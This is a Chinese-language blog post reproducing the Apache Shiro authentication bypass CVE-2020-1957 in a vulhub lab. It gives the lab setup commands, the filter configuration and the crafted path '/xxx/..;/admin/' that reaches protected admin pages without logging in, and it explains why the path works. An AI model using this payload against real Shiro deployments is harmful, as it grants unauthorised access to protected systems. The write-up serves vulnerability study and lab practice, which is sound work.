Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现

一、漏洞描述

Apache Shiro 是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

CVE-2020-1957,Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。

二、漏洞条件

Shiro版本 <= 1.5.1

三、漏洞复现

使用vulhub直接搭建靶机

cd Desktop/vulhub-master/shiro/CVE-2020-1957
docker-compose up -d

这个应用中对URL权限的配置如下:

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}
image-20211120091438178

访问 /admin页面,页面跳转login.html,需要登录才可以方法

image-20211120091830288

访问 /xxx/..;/admin/,成功鉴权访问

image-20211120091923502

最后,我们来数理一下整个请求过程:

  1. 客户端请求URL: /xxxx/..;/admin/index
  2. shrio 内部处理得到校验URL为 /xxxx/..,校验通过
  3. springboot 处理 /xxxx/..;/admin/index , 最终请求 /admin/index, 成功访问了后台请求.

具体原理参考

https://blog.spoock.com/2020/05/09/cve-2020-1957/

posted @ 2022-02-05 21:39  kzd的前沿思考  阅读(175)  评论(0)    收藏  举报